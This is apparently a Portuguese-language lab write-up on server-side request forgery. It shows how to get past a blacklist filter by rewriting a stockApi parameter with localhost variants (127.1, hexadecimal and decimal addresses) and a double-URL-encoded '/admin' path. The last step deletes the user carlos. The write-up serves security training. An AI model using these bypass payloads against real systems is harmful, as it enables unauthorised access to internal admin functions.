> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/ssrf/ssrf-with-blacklist-based-filter.md).
# SSRF com Filtragem Baseada em Blacklist
### SSRF com filtro de entrada baseado em lista negra
O laboratório oferece uma função de verificação de estoque que permite recuperar dados de um sistema interno. / O objetivo é acessar a interface de administração em `HTTP://localhost/admin` e excluir o usuário **carlos**. / Dois mecanismos fracos de defesa baseados em lista negra devem ser contornados.
#### Análise e Contorno
Ao substituir o `stockApi` parâmetro para apontar diretamente para o administrador local, a consulta é recusada:
```
stockApi=https://localhost/admin
```
Para contornar a lista negra em `localhost`, várias variantes de endereços internos são testadas:
* `https://127.0.0.1`
* `https://127.13.55.222`
* `https://127.0.1`
Essas tentativas também falham.
Em seguida, tentamos **hexadecimal** ou **decimal** representações do endereço:
* `https://0x7F.0x0.0x1`
* `https://2130706433`
A detecção sempre bloqueia o `/admin` caminho, o que indica que a defesa tem como alvo principalmente esta string específica.
```javascript
stockApi=http://127.1/%2561dmin
stockApi=http://127.1/%2561dmin/delete?username=carlos
```
---
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